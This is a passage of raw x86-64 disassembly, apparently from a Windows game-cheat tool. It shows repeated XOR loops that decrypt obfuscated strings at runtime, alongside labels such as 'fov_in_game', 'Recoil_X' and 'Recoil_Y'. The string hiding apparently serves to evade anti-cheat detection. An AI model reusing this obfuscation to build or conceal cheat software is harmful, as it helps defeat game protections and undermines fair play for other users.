paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006bf40
cmp r8d, 0x1b
jge 0x14006c081
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x14006c050
mov rdx, r10
lea rcx, [rbp + 0xdf0]
call fcn.1400403e0
lea rdx, [rbp + 0x1a0]
mov byte [rbp - 0x39], 0
lea rcx, [rbp - 0x39]
mov byte [rbp - 0x38], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006c0cb
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp - 0x38]
call fcn.140088080
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006c0fc
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov r9d, 0x5a
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae40c]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8d, [r9 - 0x14]
call fcn.140045db0
cmp byte [0x1400aeff4], 1
jne 0x14006c13e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006c13e
lea rcx, str.fov_in_game
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006c360
mov edx, 0x23
mov byte [rbp - 0x37], 0
lea rcx, [rbp + 0xe00]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xe10]
call fcn.14002a680
lea rdx, [rbp + 0x1940]
lea rcx, [rbp - 0x37]
call fcn.1400880a0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14006c331
mov r8d, edi
cmp esi, 2
jl 0x14006c2f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006c1f0
cmp r8d, 0x19
jge 0x14006c331
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14006c300
mov rdx, r10
lea rcx, [rbp + 0xe10]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14006c360
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14006c367
mov byte [0x1400aef77], 0
jmp 0x14006c560
movzx eax, byte [0x1400aef77]
test al, al
je 0x14006c560
mov edx, 0x23
mov byte [rbp - 0x36], 0
lea rcx, [rbp + 0xe20]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xe30]
call fcn.14002a680
lea rdx, [rbp + 0x2bc8]
lea rcx, [rbp - 0x36]
call fcn.1400880d0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14006c551
mov r8d, edi
cmp esi, 2
jl 0x14006c519
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x14006c410
cmp r8d, 0x34
jge 0x14006c551
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14006c520
mov rdx, r10
lea rcx, [rbp + 0xe30]
call fcn.1400403e0
lea rdx, [rbp + 0x1b0]
mov byte [rbp - 0x35], 0
lea rcx, [rbp - 0x35]
mov byte [rbp - 0x34], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006c59b
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0x15d8]
lea rcx, [rbp - 0x34]
call fcn.140088100
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006c751
mov r8d, edi
cmp esi, 2
jl 0x14006c719
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006c610
cmp r8d, 0x11
jge 0x14006c751
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006c720
movss xmm3, dword [0x1400a1f48]
lea rdx, [0x1400ae278]
mov dword [rsp + 0x28], edi
movaps xmm2, xmm9
mov rcx, r10
mov qword [rsp + 0x20], rbx
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x14006c7be
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006c795
lea rcx, str.adsgame_sensitivity_in_game
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006c7be
cmp byte [0x1400aef77], 1
jne 0x14006c7be
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006c7be
lea rcx, [0x1400a00f8]
call fcn.1400161e0
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a200c]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x14006c9c0
mov edx, 0x23
mov byte [rbp - 0x33], 0
lea rcx, [rbp + 0xe40]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xe50]
call fcn.14002a680
lea rdx, [rbp + 0xa40]
lea rcx, [rbp - 0x33]
call fcn.140088120
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14006c991
mov r8d, edi
cmp esi, 2
jl 0x14006c955
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006c960
mov rdx, r10
lea rcx, [rbp + 0xe50]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14006c9c0
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14006c9c7
mov byte [0x1400aef77], 0
jmp 0x14006cbc0
movzx eax, byte [0x1400aef77]
test al, al
je 0x14006cbc0
mov edx, 0x23
mov byte [rbp - 0x32], 0
lea rcx, [rbp + 0xe60]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xe70]
call fcn.14002a680
lea rdx, [rbp + 0x19c0]
lea rcx, [rbp - 0x32]
call fcn.140088150
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14006cbb1
mov r8d, edi
cmp esi, 2
jl 0x14006cb79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006ca70
cmp r8d, 0x1a
jge 0x14006cbb1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x14006cb80
mov rdx, r10
lea rcx, [rbp + 0xe70]
call fcn.1400403e0
lea rdx, [rbp + 0x1b8]
mov byte [rbp - 0x31], 0
lea rcx, [rbp - 0x31]
mov byte [rbp - 0x30], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006cbfb
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x30]
call fcn.140088180
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006cc28
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
movss xmm6, dword [0x1400a1fdc]
lea rdx, [0x1400ae274]
movaps xmm3, xmm6
mov dword [rsp + 0x28], edi
movaps xmm2, xmm10
mov qword [rsp + 0x20], rbx
mov rcx, rax
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x14006cc98
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006cc6f
lea rcx, str.Recoil_X
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006cc98
cmp byte [0x1400aef77], 1
jne 0x14006cc98
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006cc98
lea rcx, [0x1400a0140]
call fcn.1400161e0
lea rdx, [rbp + 0x1e8]
mov byte [rbp - 0x2f], 0
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x2e], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006ccd3
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x2e]
call fcn.1400881a0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006cd00
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae404]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rbx
movaps xmm2, xmm10
mov rcx, rax
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x14006cd68
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006cd3f
lea rcx, str.Recoil_Y
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006cd68
cmp byte [0x1400aef77], 1
jne 0x14006cd68
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006cd68
lea rcx, str.__Y
call fcn.1400161e0
cmp byte [0x1400b3edb], 0
je 0x14006d336
cmp byte [0x1400ae053], 0
je 0x14006cf9e
mov edx, 0x23
mov byte [rbp - 0x2d], 0
lea rcx, [rbp + 0xe80]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xe90]
call fcn.14002a680
lea rdx, [rbp + 0x1960]
lea rcx, [rbp - 0x2d]
call fcn.1400881c0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14006cf71
mov r8d, edi
cmp esi, 2
jl 0x14006cf39
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006ce30
cmp r8d, 0x19
jge 0x14006cf71
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14006cf40
mov rdx, r10
lea rcx, [rbp + 0xe90]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14006cf9e
cmp byte [0x1400aef77], 1
jne 0x14006cf9e
mov byte [0x1400aef77], 0
jmp 0x14006d1a0
cmp byte [0x1400aef77], 0
je 0x14006d1a0
mov edx, 0x23
mov byte [rbp - 0x2c], 0
lea rcx, [rbp + 0xea0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xeb0]
call fcn.14002a680
lea rdx, [rbp + 0x2418]
lea rcx, [rbp - 0x2c]
call fcn.1400881f0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14006d191
mov r8d, edi
cmp esi, 2
jl 0x14006d159
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14006d050
cmp r8d, 0x24
jge 0x14006d191
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x14006d160
mov rdx, r10
lea rcx, [rbp + 0xeb0]
call fcn.1400403e0
lea rdx, [rbp + 0x228]
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x2b]
mov byte [rbp - 0x2a], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006d1db
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x2a]
call fcn.140088220
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14006d200
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
mov r9d, 5
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae408]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8d, [r9 - 4]
call fcn.140045db0
